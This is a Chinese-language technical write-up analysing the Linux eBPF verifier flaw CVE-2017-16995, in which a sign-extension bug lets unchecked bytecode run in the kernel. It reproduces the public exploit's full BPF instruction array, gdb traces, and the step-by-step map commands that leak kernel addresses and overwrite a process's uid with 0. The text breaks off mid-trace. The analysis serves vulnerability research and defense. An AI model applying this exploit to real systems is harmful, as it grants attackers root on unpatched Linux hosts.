zoukankan      html  css  js  c++  java
  • 【原创】深入分析Ubuntu本地提权漏洞CVE-2017-16995

     

    *本文首发阿里云先知安全技术社区,原文链接https://xz.aliyun.com/t/2212

    前言:

    2018年3月中旬,Twitter 用户 @Vitaly Nikolenko 发布消息,称 ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提权漏洞,而且推文中还附上了 EXP 下载地址。

    由于该漏洞成功在aws Ubuntu镜像上复现,被认为是0DAY,引起了安全圈同学们的广泛关注。大体浏览了 一下exp代码,发现利用姿势很优雅,没有ROP,没有堆,没有栈,比较感兴趣,不过等了几天也没发现有详细的漏洞分析,正好赶上周末,便自己跟了一下:)

    经过一番了解发现这个漏洞并不是什么0DAY,最早是去年12月21号Google Project Zero团队的Jann Horn发现并报告的,编号为CVE-2017-16995,作者在报告该漏洞的时候附了一个DOS的POC。另外,最早公开发布可成功提权exploit也不是Vitaly Nikolenko,而是Bruce Leidl,其在12月21号就把完整的提权exploit公布到了github上,地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c

    技术分析

    eBPF简介

    众所周知,linux的用户层和内核层是隔离的,想让内核执行用户的代码,正常是需要编写内核模块,当然内核模块只能root用户才能加载。而BPF则相当于是内核给用户开的一个绿色通道:BPF(Berkeley Packet Filter)提供了一个用户和内核之间代码和数据传输的桥梁。用户可以用eBPF指令字节码的形式向内核输送代码,并通过事件(如往socket写数据)来触发内核执行用户提供的代码;同时以map(key,value)的形式来和内核共享数据,用户层向map中写数据,内核层从map中取数据,反之亦然。BPF设计初衷是用来在底层对网络进行过滤,后续由于他可以方便的向内核注入代码,并且还提供了一套完整的安全措施来对内核进行保护,被广泛用于抓包、内核probe、性能监控等领域。BPF发展经历了2个阶段,cBPF(classic BPF)和eBPF(extend BPF),cBPF已退出历史舞台,后文提到的BPF默认为eBPF。

    eBPF虚拟指令系统

    eBPF虚拟指令系统属于RISC,拥有10个虚拟寄存器,r0-r10,在实际运行时,虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器,以x64为例,对应关系如下:

        R0 – rax
        R1 - rdi
        R2 - rsi
        R3 - rdx
        R4 - rcx
        R5 - r8
        R6 - rbx
        R7 - r13
        R8 - r14
        R9 - r15
        R10 – rbp(帧指针,frame pointer)
    每一条指令的格式如下:
    struct bpf_insn {
        __u8    code;        /* opcode */
        __u8    dst_reg:4;    /* dest register */
        __u8    src_reg:4;    /* source register */
        __s16    off;        /* signed offset */
        __s32    imm;        /* signed immediate constant */
    };
    如一条简单的x86赋值指令:mov eax,0xffffffff,对应的BPF指令为:BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),其对应的数据结构为:
    #define BPF_MOV32_IMM(DST, IMM)                    
        ((struct bpf_insn) {                    
            .code  = BPF_ALU | BPF_MOV | BPF_K,        
            .dst_reg = DST,                    
            .src_reg = 0,                    
            .off   = 0,                    
            .imm   = IMM })
    其在内存中的值为:xb4x09x00x00xffxffxffxff
    关于BPF指令系统此处就不再赘述,只要明确以下两点即可:1.其为RISC指令系统,也就是说每条指令大小都是一样的;2.其虚拟的10个寄存器一一对应于物理cpu的寄存器,且功能类似,比如BPF的r10寄存器和rbp一样指向栈,r0用于返回值。

    BPF的加载过程

    一个典型的BPF程序流程为:
    1.   用户程序调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请创建一个map,在attr结构体中指定map的类型、大小、最大容量等属性。
    2.   用户程序调用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))来将我们写的BPF代码加载进内核,attr结构体中包含了指令数量、指令首地址指针、日志级别等属性。在加载之前会利用虚拟执行的方式来做安全性校验,这个校验包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查,禁止将内核中的地址暴露给用户空间,禁止对BPF程序stack之外的内核地址读写。安全校验通过后,程序被成功加载至内核,后续真正执行时,不再重复做检查。
    3.   用户程序通过调用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)将我们写的BPF程序绑定到指定的socket上。Progfd为上一步骤的返回值。
    4.   用户程序通过操作上一步骤中的socket来触发BPF真正执行。

    BPF的安全校验

    Bpf指令的校验是在函数do_check中,代码路径为kernel/bpf/verifier.c。do_check通过一个无限循环来遍历我们提供的bpf指令,
     
    理论上虚拟执行和真实执行的执行路径应该是完全一致的。如果步骤2安全校验过程中的虚拟执行路径和步骤4 bpf的真实执行路径不完全一致的话,会怎么样呢?看下面的例子:
    1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 = (u32)0xFFFFFFFF   */
    2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),   /* if (r9 == -1) {        */
    3.BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */
    4.BPF_EXIT_INSN()
    5.……
    第一条指令是个简单的赋值语句,把0xFFFFFFFF这个值赋值给r9.
    第二条指令是个条件跳转指令,如果r9等于0xFFFFFFFF,则退出程序,终止执行;如果r9不等于0xFFFFFFFF,则跳过后面2条执行继续执行第5条指令。
    虚拟执行的时候,do_check检测到第2条指令等式恒成立,所以认为BPF_JNE的跳转永远不会发生,第4条指令之后的指令永远不会执行,所以检测结束,do_check返回成功。
    真实执行的时候,由于一个符号扩展的bug,导致第2条指令中的等式不成立,于是cpu就跳转到第5条指令继续执行,这里是漏洞产生的根因,这4条指令,可以绕过BPF的代码安全检查。既然安全检查被绕过了,用户就可以随意往内核中注入代码了,提权就水到渠成了:先获取到task_struct的地址,然后定位到cred的地址,然后定位到uid的地址,然后直接将uid的值改为0,然后启动/bin/bash。

    漏洞分析

    下面结合真实的exp来动态分析一下漏洞的执行过程。
    Vitaly Nikolenko公布的这个exp,关键代码就是如下这个prog数组:

    这个数组就是BPF的指令数据,想要搞清楚exp的机理,首先要把这堆16进制数据翻译成BPF指令,翻译结果如下:
    bytes="xb4x09x00x00xffxffxffxff"  #BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 = (u32)0xFFFFFFFF   */
    "x55x09x02x00xffxffxffxff"  #BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),   /* if (r9 == -1) {        */
    "xb7x00x00x00x00x00x00x00"  #BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */
    "x95x00x00x00x00x00x00x00"  #BPF_EXIT_INSN()
     
    "x18x19x00x00x03x00x00x00"  # BPF_LD_MAP_FD(BPF_REG_9, mapfd),                 /* r9=mapfd               */
    "x00x00x00x00x00x00x00x00"
     
    #BPF_MAP_GET(0, BPF_REG_6)  r6=op,取map的第1个元素放到r6
    "xbfx91x00x00x00x00x00x00"  #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */
    "xbfxa2x00x00x00x00x00x00"  #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */
    "x07x02x00x00xfcxffxffxff"  #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */
    "x62x0axfcxffx00x00x00x00"  #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0),           /* *(u32 *)(fp - 4) = idx */
    "x85x00x00x00x01x00x00x00"  #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
    "x55x00x01x00x00x00x00x00"  #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */
    "x95x00x00x00x00x00x00x00"  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
    "x79x06x00x00x00x00x00x00"  #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */
     
    #BPF_MAP_GET(1, BPF_REG_7)  r7=address,取map的第2个元素放到r7
    "xbfx91x00x00x00x00x00x00"  #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */
    "xbfxa2x00x00x00x00x00x00"  #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */
    "x07x02x00x00xfcxffxffxff"  #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */
    "x62x0axfcxffx01x00x00x00"  #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1),           /* *(u32 *)(fp - 4) = idx */
    "x85x00x00x00x01x00x00x00"  #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
    "x55x00x01x00x00x00x00x00"  #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */
    "x95x00x00x00x00x00x00x00"  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
    "x79x07x00x00x00x00x00x00"  #BPF_LDX_MEM(BPF_DW, (r7), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */
     
    #BPF_MAP_GET(2, BPF_REG_8)  r8=value,取map的第3个元素放到r8
    "xbfx91x00x00x00x00x00x00"  #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */
    "xbfxa2x00x00x00x00x00x00"  #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */
    "x07x02x00x00xfcxffxffxff"  #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */
    "x62x0axfcxffx02x00x00x00"  #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1),           /* *(u32 *)(fp - 4) = idx */
    "x85x00x00x00x01x00x00x00"  #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
    "x55x00x01x00x00x00x00x00"  #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */
    "x95x00x00x00x00x00x00x00"  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
    "x79x08x00x00x00x00x00x00"  #BPF_LDX_MEM(BPF_DW, (r8), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */
     
    "xbfx02x00x00x00x00x00x00"  #BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),               /* r2 = r0               */
    "xb7x00x00x00x00x00x00x00"  #BPF_MOV64_IMM(BPF_REG_0, 0),                       /* r0 = 0  for exit(0)   */
    "x55x06x03x00x00x00x00x00"  #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3),             /* if (op == 0)          */
    "x79x73x00x00x00x00x00x00"  #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
    "x7bx32x00x00x00x00x00x00"  #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
    "x95x00x00x00x00x00x00x00"  #BPF_EXIT_INSN(),
    "x55x06x02x00x01x00x00x00"  #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),
    "x7bxa2x00x00x00x00x00x00"  #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
    "x95x00x00x00x00x00x00x00"  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
    "x7bx87x00x00x00x00x00x00"  #BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
    "x95x00x00x00x00x00x00x00"  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
    do_check上打个断点,编译运行,成功断了下来,先看一下调用栈:
    (gdb) bt
    #0  do_check (env=0xffff880078190000)
        at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:1724
    #1  0xffffffff8117c057 in bpf_check (prog=0xffff880034003e10, 
        attr=<optimized out>)
        at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:2240
    #2  0xffffffff81178631 in bpf_prog_load (attr=0xffff880034003ee0)
        at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:679
    #3  0xffffffff81178d3a in SYSC_bpf (size=48, uattr=<optimized out>, 
        cmd=<optimized out>)
        at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:783
    #4  SyS_bpf (cmd=5, uattr=140722476394128, size=48)
        at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:725
    #5  0xffffffff8184efc8 in entry_SYSCALL_64 ()
        at /build/linux-fQ94TU/linux-4.4.0/arch/x86/entry/entry_64.S:193
    #6  0x0000000000000001 in irq_stack_union ()
    #7  0x0000000000000000 in ?? ()
    (gdb)
    首先看第一条赋值语句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),do_check中最终的赋值语句如下:
    其中dst_reg为虚拟执行过程中的寄存器结构体,结构体定义如下:
    可以看到该结构体有2个字段,第一个为type,代表寄存器数据的类型,此处为CONST_IMM,CONST_IMM的值为8.另外一个为常量立即数的具体数值,可以看到类型为int有符号整形。
    我们在此处下断点,可以看到具体的赋值过程,如下:
    (gdb) x/10 $rip-4
       0xffffffff8117b0ac <do_check+5548>:   mov    DWORD PTR [rsi+rax*1+0x8],edx
    => 0xffffffff8117b0b0 <do_check+5552>:   
        jmp    0xffffffff8117a38c <do_check+2188>
       0xffffffff8117b0b5 <do_check+5557>:   mov    rdi,QWORD PTR [rsp+0x38]
       0xffffffff8117b0ba <do_check+5562>:   mov    rdx,rax
       0xffffffff8117b0bd <do_check+5565>:   movzx  esi,al
       0xffffffff8117b0c0 <do_check+5568>:   and    edx,0x18
       0xffffffff8117b0c3 <do_check+5571>:   mov    rdx,QWORD PTR [rdx-0x7e5db140]
       0xffffffff8117b0ca <do_check+5578>:   movzx  ecx,BYTE PTR [rdi+0x1]
       0xffffffff8117b0ce <do_check+5582>:   movsx  r8d,WORD PTR [rdi+0x2]
       0xffffffff8117b0d3 <do_check+5587>:   mov    r9d,DWORD PTR [rdi+0x4]
    (gdb) i r $edx
    edx            0xffffffff      -1
    (gdb) x/10x $rsi+$rax
    0xffff8800781930a8: 0x00000008 0x00000000 0xffffffff 0x00000000
    0xffff8800781930b8: 0x00000006 0x00000000 0x00000000 0x00000000
    0xffff8800781930c8: 0x00000000 0x00000000
    (gdb)
    $rsi+$rax处即为reg_state结构体,可以看到第一个字段为8,第二个字段为0Xffffffff。
    然后我们跟进第二条指令中的比较语句BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),do_check检测到跳转类指令时,根据跳转类型进入不通的检测分支,此处是JNE跳转,进入check_cond_jmp_op分支,如下图:
    Do_check在校验条件类跳转指令的时候,会判断条件是否成立,如果是非确定性跳转的话,就说明接下来2个分支都有可能执行(分支A和分支B),这时do_check会把下一步需要跳转到的指令编号(分支B)放到一个临时栈中备用,这样当前指令顺序校验(分支A)过程中遇到EXIT指令时,会从临时栈中取出之前保存的下一条指令的序号(分支B)继续校验。如果跳转指令恒成立的话,就不会再往临时栈中放入分支B,因为分支B永远不会执行,如下图:

    第一个红框即为虚拟寄存器中的imm与指令中提供的imm进行比较,这两个类型如下:

    可以看到等号两侧的数据类型完全一致,都为有符号整数,所以此处条件跳转条件恒成立,不会往临时栈中push分支B指令编号。
    接下来看BPF_EXIT_INSN(),刚才提到在校验EXIT指令时,会从临时栈中尝试取指令(调用pop_stack函数),如果临时栈中有指令,那就说明还有其他可能执行到的分支,需要继续校验,如果取不到值,表示当前这条EXIT指令确实是BPF程序最后一条可以执行到的指令,此时pop_stack会返回-1,然后break跳出do_check校验循环,do_check执行结束,校验通过,如下图:
    跟进pop_stack,如下图:
    实际执行过程如下:
    (gdb) x/10i $rip
    => 0xffffffff81178f29 <pop_stack+9>:     test   r8,r8  //此处判断env->head是否为NULL
       0xffffffff81178f2c <pop_stack+12>:    
        je     0xffffffff81178fb4 <pop_stack+148> //为NULL时,跳转到0xffffffff81178fb4
       0xffffffff81178f32 <pop_stack+18>:    push   rbp
       0xffffffff81178f33 <pop_stack+19>:    mov    rax,rsi
       0xffffffff81178f36 <pop_stack+22>:    lea    rcx,[rdi+0x18]
       0xffffffff81178f3a <pop_stack+26>:    mov    rdx,rdi
       0xffffffff81178f3d <pop_stack+29>:    lea    rdi,[rdi+0x20]
       0xffffffff81178f41 <pop_stack+33>:    mov    rbp,rsp
       0xffffffff81178f44 <pop_stack+36>:    push   r13
       0xffffffff81178f46 <pop_stack+38>:    push   r12
    (gdb) i r $r8
    r8             0x0  0
    (gdb) x/10i 0xffffffff81178fb4
       0xffffffff81178fb4 <pop_stack+148>:   mov    eax,0xffffffff  //pop_stack返回-1
       0xffffffff81178fb9 <pop_stack+153>:   ret     //pop_stack返回-1
       0xffffffff81178fba:         nop    WORD PTR [rax+rax*1+0x0]
       0xffffffff81178fc0 <verbose>:         nop    DWORD PTR [rax+rax*1+0x0]
       0xffffffff81178fc5 <verbose+5>:       push   rbp
       0xffffffff81178fc6 <verbose+6>:       mov    rbp,rsp
       0xffffffff81178fc9 <verbose+9>:       sub    rsp,0x50
       0xffffffff81178fcd <verbose+13>:      mov    rax,QWORD PTR gs:0x28
       0xffffffff81178fd6 <verbose+22>:      mov    QWORD PTR [rsp+0x18],rax
       0xffffffff81178fdb <verbose+27>:      xor    eax,eax
    (gdb)
    到此为止我们了解了BPF的校验过程,这个exp一共有41条指令,BPF只校验了4条指令,然后返回校验成功。
    接下来我们继续跟进BPF指令的执行过程,对应的代码如下(路径为kernel/bpf/core.c):
    其中DST为目标寄存器,IMM为立即数,我们跟进DST的定义:

    跟进IMM的定义:

    很明显,等号两边的数据类型是不一致的,所以导致这里的条件跳转语句的结果完全相反,以下为实际执行过程:
    (gdb) x/10i $rip
    => 0xffffffff8117731f <__bpf_prog_run+2191>:       
        cmp    QWORD PTR [rbp+rax*8-0x270],rdx
       0xffffffff81177327 <__bpf_prog_run+2199>:       
        je     0xffffffff81177d8a <__bpf_prog_run+4858>
       0xffffffff8117732d <__bpf_prog_run+2205>:       movsx  rax,WORD PTR [rbx+0x2]
       0xffffffff81177332 <__bpf_prog_run+2210>:       lea    rbx,[rbx+rax*8+0x8]
       0xffffffff81177337 <__bpf_prog_run+2215>:       
        jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
       0xffffffff8117733c <__bpf_prog_run+2220>:       movzx  eax,BYTE PTR [rbx+0x1]
       0xffffffff81177340 <__bpf_prog_run+2224>:       mov    edx,eax
       0xffffffff81177342 <__bpf_prog_run+2226>:       shr    dl,0x4
       0xffffffff81177345 <__bpf_prog_run+2229>:       and    edx,0xf
       0xffffffff81177348 <__bpf_prog_run+2232>:       
        cmp    QWORD PTR [rbp+rdx*8-0x270],0x0
    (gdb) i r $rdx
    rdx            0xffffffffffffffff        -1
    (gdb) x/10x (rbp+rax*8-0x270)
    No symbol "rbp" in current context.
    (gdb) x/10x ($rbp+$rax*8-0x270)
    0xffff880076143a78: 0xffffffff 0x00000000 0x76143c88 0xffff8800
    0xffff880076143a88: 0x00000001 0x00000000 0x00000001 0x01000000
    0xffff880076143a98: 0x746ee000 0xffff8800
    (gdb) 
    等号两边的值完全不一样,这里的跳转条件成立,会往后跳2条指令继续执行,和虚拟执行的过程相反。
    接下来就是分析exp里面的BPF指令了,通过自定义BPF指令,我们可以绕过安全校验实现任意内核指针泄露,任意内核地址读写。
    构造一下攻击路径:
    1.申请一个MAP,长度为3;
    2.这个MAP的第一个元素为操作指令,第2个元素为需要读写的内存地址,第3个元素用来存放读取到的内容。此时这个MAP相当于一个CC,3个元素组成一个控制指令。
    3.组装一个指令,读取内核的栈地址。根据内核栈地址获取到current的地址。
    4.读current结构体的第一个成员,或得task_struct的地址,继而加上cred的偏移得到cred地址,最终获取到uid的地址。
    5.组装一个写指令,向上一步获取到的uid地址写入0.
    6.启动新的bash进程,该进程的uid为0,提权成功。
    Exp中就是按照如上的攻击路径来提权的,申请完map之后,首先发送获取内核栈地址的指令,如下:
    bpf_update_elem(0, 0); 
    bpf_update_elem(1, 0); 
    bpf_update_elem(2, 0); 
    然后通过调用writemsg触发BPF程序运行,BPF会进入如下分支:
    "x18x19x00x00x03x00x00x00"  # BPF_LD_MAP_FD(BPF_REG_9, mapfd),                 /* r9=mapfd               */
    #BPF_MAP_GET(0, BPF_REG_6)  r6=op
    "xbfx91x00x00x00x00x00x00"  #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */
    "xbfxa2x00x00x00x00x00x00"  #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */
    "x07x02x00x00xfcxffxffxff"  #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */
    "x62x0axfcxffx00x00x00x00"  #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0),           /* *(u32 *)(fp - 4) = idx */
    "x85x00x00x00x01x00x00x00"  #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
    "x55x00x01x00x00x00x00x00"  #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */
    "x95x00x00x00x00x00x00x00"  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
    "x79x06x00x00x00x00x00x00"  #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */
    之前提到过,BPF的r10寄存器相当于x86_64的rbp,是指向内核栈的,所以这里第一行指令将map的标识放到r9,第二条指令将r9放到r1,作为后续调用BPF_FUNC_map_lookup_elem函数的第一个参数,第三条指令将内核栈指针赋值给r2,第四条指令在栈上开辟4个字节的空间,第五条指令将map元素的序号放到r2,第六条指令取map中第r2个元素的值并把返回值存入r0,第七条指令判断BPF_FUNC_map_lookup_elem有没有执行成功,r0=0则未成功。成功后执行第9条指令,将取到的值放到r6中。继续依次往下执行,直到执行到下面的路径:
    "x55x06x03x00x00x00x00x00"  #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3),             /* if (op == 0)          */
    "x79x73x00x00x00x00x00x00"  #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
    "x7bx32x00x00x00x00x00x00"  #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
    "x95x00x00x00x00x00x00x00"  #BPF_EXIT_INSN(),
    "x55x06x02x00x01x00x00x00"  #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),
    "x7bxa2x00x00x00x00x00x00"  #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
    "x95x00x00x00x00x00x00x00"  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
    判断r6是否为0,为0说明是取栈地址的指令,这时会往下跳3条指令,继续执行第7条指令,将r10的内容写入r2,由于在执行第30条指令时r0指向map中的第二个元素,所以这时r2也指向这个元素,然后用户层通过get_value(2)取到了内核栈的地址,我们通过给BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)下断点,可以看到过程如下:
    (gdb) x/20i 0xffffffff8117788b
       0xffffffff8117788b <__bpf_prog_run+3579>:       movzx  eax,BYTE PTR [rbx+0x1]
       0xffffffff8117788f <__bpf_prog_run+3583>:       movsx  rdx,WORD PTR [rbx+0x2]
       0xffffffff81177894 <__bpf_prog_run+3588>:       add    rbx,0x8
       0xffffffff81177898 <__bpf_prog_run+3592>:       mov    rcx,rax
       0xffffffff8117789b <__bpf_prog_run+3595>:       shr    al,0x4
       0xffffffff8117789e <__bpf_prog_run+3598>:       and    ecx,0xf
       0xffffffff811778a1 <__bpf_prog_run+3601>:       and    eax,0xf
       0xffffffff811778a4 <__bpf_prog_run+3604>:       mov    rcx,QWORD PTR [rbp+rcx*8-0x270]
       0xffffffff811778ac <__bpf_prog_run+3612>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
       0xffffffff811778b4 <__bpf_prog_run+3620>:       mov    QWORD PTR [rcx+rdx*1],rax
    => 0xffffffff811778b8 <__bpf_prog_run+3624>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
       0xffffffff811778bd <__bpf_prog_run+3629>:       movzx  eax,BYTE PTR [rbx+0x1]
       0xffffffff811778c1 <__bpf_prog_run+3633>:       movsx  rdx,WORD PTR [rbx+0x2]
       0xffffffff811778c6 <__bpf_prog_run+3638>:       add    rbx,0x8
       0xffffffff811778ca <__bpf_prog_run+3642>:       movsxd rcx,DWORD PTR [rbx-0x4]
       0xffffffff811778ce <__bpf_prog_run+3646>:       and    eax,0xf
       0xffffffff811778d1 <__bpf_prog_run+3649>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
       0xffffffff811778d9 <__bpf_prog_run+3657>:       mov    QWORD PTR [rax+rdx*1],rcx
       0xffffffff811778dd <__bpf_prog_run+3661>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
       0xffffffff811778e2 <__bpf_prog_run+3666>:       lfence 
     (gdb) i r $rax
    rax            0xffff8800758c3c88        -131939423208312
    (gdb)

    其中rax的值0xffff8800758c3c88即为泄露的内核栈地址(其实应该称为帧指针更准确)。
    然后通过经典的addr & ~(0x4000 - 1)获取到current结构体的起始地址0xffff8800758c0000,然后构造读数据的map指令去读current中偏移为0的指针值(即为指向task_struct的指针):
    bpf_update_elem(0, 0); 
    bpf_update_elem(1, 0xffff8800758c0000); 
    bpf_update_elem(2, 0); 
    其中addr为当前线程current的值0xffff8800758c0000,这样可以得到task_struct的地址,
    过程如下:
    (gdb) x/10i $rip-20
       0xffffffff811778a4 <__bpf_prog_run+3604>:       mov    rcx,QWORD PTR [rbp+rcx*8-0x270]
       0xffffffff811778ac <__bpf_prog_run+3612>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
       0xffffffff811778b4 <__bpf_prog_run+3620>:       mov    QWORD PTR [rcx+rdx*1],rax
    => 0xffffffff811778b8 <__bpf_prog_run+3624>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
       0xffffffff811778bd <__bpf_prog_run+3629>:       movzx  eax,BYTE PTR [rbx+0x1]
       0xffffffff811778c1 <__bpf_prog_run+3633>:       movsx  rdx,WORD PTR [rbx+0x2]
       0xffffffff811778c6 <__bpf_prog_run+3638>:       add    rbx,0x8
       0xffffffff811778ca <__bpf_prog_run+3642>:       movsxd rcx,DWORD PTR [rbx-0x4]
       0xffffffff811778ce <__bpf_prog_run+3646>:       and    eax,0xf
       0xffffffff811778d1 <__bpf_prog_run+3649>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
    (gdb) i r $rax
    rax            0xffff880074343c00        -131939445752832
    (gdb) x/10x 0xffff8800758c0000
    0xffff8800758c0000: 0x74343c00 0xffff8800 0x00000008 0x00000000
    0xffff8800758c0010: 0x00000001 0x00000000 0xfffff000 0x00007fff
    0xffff8800758c0020: 0x00000000 0x00000000
    (gdb)
    其中rax的值即为指向task_struct的指针,可以看到和current结构体的第一个成员的值是一致的,都是0xffff880074343c00
    得到task_struct地址之后,加上cred的偏移CRED_OFFSET=0x5f8(由于内核版本不通或者内核的编译选项不同,都可能导致cred在task_struct中的偏移不同),组装读取指令取读取指向cred结构体的指针地址:
    bpf_update_elem(0, 2); 
    bpf_update_elem(1, 0xffff880074343c00+0x5f8); 
    bpf_update_elem(2, 0); 
    过程如下:
    (gdb) x/10i $rip
    => 0xffffffff811778b8 <__bpf_prog_run+3624>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
       0xffffffff811778bd <__bpf_prog_run+3629>:       movzx  eax,BYTE PTR [rbx+0x1]
       0xffffffff811778c1 <__bpf_prog_run+3633>:       movsx  rdx,WORD PTR [rbx+0x2]
       0xffffffff811778c6 <__bpf_prog_run+3638>:       add    rbx,0x8
       0xffffffff811778ca <__bpf_prog_run+3642>:       movsxd rcx,DWORD PTR [rbx-0x4]
       0xffffffff811778ce <__bpf_prog_run+3646>:       and    eax,0xf
       0xffffffff811778d1 <__bpf_prog_run+3649>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
       0xffffffff811778d9 <__bpf_prog_run+3657>:       mov    QWORD PTR [rax+rdx*1],rcx
       0xffffffff811778dd <__bpf_prog_run+3661>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
       0xffffffff811778e2 <__bpf_prog_run+3666>:       lfence 
    (gdb) i r $rax
    rax            0xffff880074cb5e00        -131939435848192
    (gdb) p (struct task_struct *)0xffff880074343c00
    $15 = (struct task_struct *) 0xffff880074343c00
    (gdb) p ((struct task_struct *)0xffff880074343c00)->cred
    $16 = (const struct cred *) 0xffff880074cb5e00
    (gdb) p &((struct task_struct *)0xffff880074343c00)->cred
    $17 = (const struct cred **) 0xffff8800743441f8
    (gdb) x/10x 0xffff880074343c00+0x5f8
    0xffff8800743441f8: 0x74cb5e00 0xffff8800 0x00707865 0x65742d00
    0xffff880074344208: 0x6e696d72 0x002d6c61 0x00000000 0x00000000
    0xffff880074344218: 0x00000000 0x00000000
    (gdb)
    上图中rax的值0xffff880074cb5e00即为从task_struct中读取到的指向cred的指针。
    cred的地址得到了,再加上uid在cred中的偏移(固定为4)便得到了uid的地址0xffff880074cb5e04,然后构造写数据的map指令:
    bpf_update_elem(0, 2); 
    bpf_update_elem(1, 0xffff880074cb5e04); 
    bpf_update_elem(2, 0); 
    过程如下(由于第一次运行exp的时候,这里没断下来,所以下面的过程是第二次运行的过程,中间一些结构体的地址发生了稍微的变化):
    (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
    $38 = {val = 1000} //此时uid还是1000
    (gdb) ni
    0xffffffff811778ac  856                 LDST(DW, u64)
    (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
    $39 = {val = 1000}
    (gdb) ni
    0xffffffff811778b4  856                 LDST(DW, u64)
    (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
